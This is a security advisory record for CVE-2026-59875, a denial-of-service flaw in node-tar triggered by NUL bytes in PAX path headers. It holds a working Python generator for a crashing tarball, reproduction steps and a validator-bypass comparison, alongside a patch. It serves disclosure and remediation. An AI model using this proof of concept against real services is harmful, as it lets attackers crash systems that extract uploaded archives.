CVE-2026-59875: node-tar Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gvwx-54wh-qm9j",
  "modified" : "2026-07-20T21:51:12Z",
  "published" : "2026-07-20T21:51:12Z",
  "aliases" : [ "CVE-2026-59875" ],
  "summary" : "node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records",
  "details" : "## Summary\n\n`node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer's `await/try-catch` around `tar.x()` — it surfaces as `uncaughtException` and terminates the process.\n\nThis is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern.\n\nA secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.\n\n---\n\n## Root cause\n\n### Vulnerable sink — `src/pax.ts:157-183`\n\nPAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes:\n\n```ts\n// src/pax.ts:157\nconst parseKVLine = (set: Record<string, unknown>, line: string) => {\n  const n = parseInt(line, 10)\n  if (n !== Buffer.byteLength(line) + 1) return set\n  line = line.slice((n + ' ').length)\n  const kv = line.split('=')\n  const r = kv.shift()\n  if (!r) return set\n  const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, '$1')\n  const v = kv.join('=')                                 // <-- NO NUL STRIP\n  set[k] =\n    /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n      new Date(Number(v) * 1000)\n    : /^[0-9]+$/.test(v) ? +v\n    : v                                                  // <-- v with NULs lands here\n  return set\n}\n```\n\nThe PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between `=` and `\\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`.\n\n### Correctly-patched cousin sink — `src/parse.ts:375-388`\n\nThe equivalent code path for GNU L/K long-headers **does** strip NUL bytes:\n\n```ts\n// src/parse.ts:375\ncase 'NextFileHasLongPath':\ncase 'OldGnuLongPath': {\n  const ex = this[EX] ?? Object.create(null)\n  this[EX] = ex\n  ex.path = this[META].replace(/\\0.*/, '')               // <-- NUL strip applied\n  break\n}\ncase 'NextFileHasLongLinkpath': {\n  const ex = this[EX] || Object.create(null)\n  this[EX] = ex\n  ex.linkpath = this[META].replace(/\\0.*/, '')           // <-- NUL strip applied\n  break\n}\n```\n\nThe `parse.ts` fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard.\n\n### Downstream blast radius\n\n`entry.path` and `entry.linkpath` are consumed in:\n- `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir`\n- `src/list.ts` (no crash — listing tolerates NUL in strings)\n- Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path`\n\nThe crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user's `await tar.x(...)` Promise rejection boundary.\n\n---\n\n## Proof of Concept\n\n### Artifacts\n- `poc-null-byte-crash.tar` — 3072 bytes — PAX `path=visible.txt\\x00hidden.txt`\n- `poc-null-linkpath-crash.tar` — 2560 bytes — PAX `linkpath=target\\x00garbage` (symlink target sink)\n- `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps)\n\n### Tarball generator (minimal repro — Python 3)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PAX-NUL-injection tarball generator for node-tar PoC.\"\"\"\nimport os\n\ndef cksum(b):\n    s = 0\n    for i, x in enumerate(b):\n        s += 0x20 if 148 <= i < 156 else x\n    return s\n\ndef pad512(buf):\n    rem = len(buf) % 512\n    return buf + b'\\0' * (512 - rem) if rem else buf\n\ndef hdr(name, size, typeflag, prefix=b'', linkpath=b''):\n    b = bytearray(512)\n    b[0:len(name[:100])] = name[:100]\n    b[100:108] = b'0000644\\0'\n    b[108:116] = b'0001000\\0'\n    b[116:124] = b'0001000\\0'\n    b[124:136] = ('%011o ' % size).encode()\n    b[136:148] = ('%011o ' % 0).encode()\n    b[148:156] = b'        '\n    b[156:157] = typeflag\n    b[157:157+len(linkpath[:100])] = linkpath[:100]\n    b[257:265] = b'ustar\\x0000'\n    b[265:270] = b'root\\0'\n    b[297:302] = b'root\\0'\n    b[329:337] = b'0000000\\0'\n    b[337:345] = b'0000000\\0'\n    b[345:345+len(prefix[:155])] = prefix[:155]\n    s = cksum(b)\n    b[148:156] = ('%06o\\0 ' % s).encode()\n    return bytes(b)\n\ndef pax(records):\n    body = b''\n    for k, v in records:\n        kv = b' ' + k + b'=' + v + b'\\n'\n        for digits in range(1, 8):\n            total = digits + len(kv)\n            if len(str(total)) == digits:\n                break\n        body += str(total).encode() + kv\n    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)\n\nout  = pax([(b'path', b'visible.txt\\x00hidden.txt')])  # NUL in PAX path\nout += hdr(b'placeholder', 1, b'0')\nout += pad512(b'A')\nout += b'\\0' * 1024  # end-of-archive\n\nopen('poc.tar', 'wb').write(out)\n```\n\n### Reproduction\n\n```bash\n# 1. Generate tarball\npython3 poc1-pax-prefix.py          # writes poc.tar (3 KB)\n\n# 2. Install vulnerable version\nmkdir repro && cd repro\nnpm init -y && npm install tar@7.5.16\n\n# 3. Try to extract with documented try/catch — observe uncaught exception\nmkdir -p ./out\nnode --input-type=module -e '\n  process.on(\"uncaughtException\", e => {\n    console.log(\"UNCAUGHT:\", e.code, \"-\", e.message);\n    process.exit(99);\n  });\n  import(\"tar\").then(async tar => {\n    try {\n      await tar.x({ file: \"../poc.tar\", cwd: \"./out\" });\n      console.log(\"NORMAL_RETURN\");\n    } catch (e) {\n      console.log(\"CAUGHT_BY_USER:\", e.code);\n    }\n  });'\n```\n\n### Observed output (verified 2026-06-23 against `tar@7.5.16`)\n\n```\nUNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,\nUint8Array, or URL without null bytes.\nReceived '/.../out/visible.txt\\x00hidden.txt'\nexit: 99\n```\n\nThe exception bypasses the user's `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits.\n\n---\n\n## Impact\n\n### Direct: remote DoS\n\nAny service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:\n\n- npm registry tarball ingestion and downstream mirrors\n- GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains)\n- Container image build pipelines that unpack layer tarballs through node tooling\n- Backup-restore services accepting user uploads\n- CI artifact processors and badge generators\n- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs\n- Cloud functions that auto-extract uploaded archives\n\nA correctly-coded consumer that does:\n\n```js\ntry {\n  await tar.x({ file: req.upload.path, cwd: tmpdir });\n} catch (e) {\n  return res.status(400).json({ error: 'bad archive' });\n}\n```\n\ndoes not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.\n\n### Secondary: parser-differential validator bypass (CWE-436)\n\n| Tool                       | Result for `path=visible.txt\\x00hidden.txt` |\n|----------------------------|----------------------------------------------|\n| GNU tar (`tar -tvf`)       | Lists `visible.txt` (truncated at NUL)      |\n| `bsdtar -tvf`              | Lists `visible.txt` (truncated at NUL)      |\n| Python `tarfile.list()`    | Lists `visible.txt\\x00hidden.txt` (raw)     |\n| node-tar `tar.t({file})`   | Emits raw NUL-bearing path (no crash)       |\n| node-tar `tar.x({file})`   | **Crashes** (uncaught throw)                |\n\nA pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.\n\n---\n\n## Suggested patch\n\nMatch the long-name handler in `parse.ts` — strip everything from the first NUL onward in `parseKVLine` value parsing:\n\n```diff\n--- a/src/pax.ts\n+++ b/src/pax.ts\n@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {\n\n   const k = r.replace(/^SCHILY\\.(dev|ino|nlink)/, '$1')\n\n-  const v = kv.join('=')\n+  const v = kv.join('=').replace(/\\0.*$/, '')\n   set[k] =\n     /^([A-Z]+\\.)?([mac]|birth|creation)time$/.test(k) ?\n       new Date(Number(v) * 1000)\n```\n\nThis matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change.\n\nA defense-in-depth follow-up: add an explicit `assert(!v.includes('\\0'))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren't* path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.5.17"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.5.16"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59875"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/releases/tag/v7.5.17"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:51:12Z",
    "nvd_published_at" : "2026-07-08T16:16:34Z"
  }
}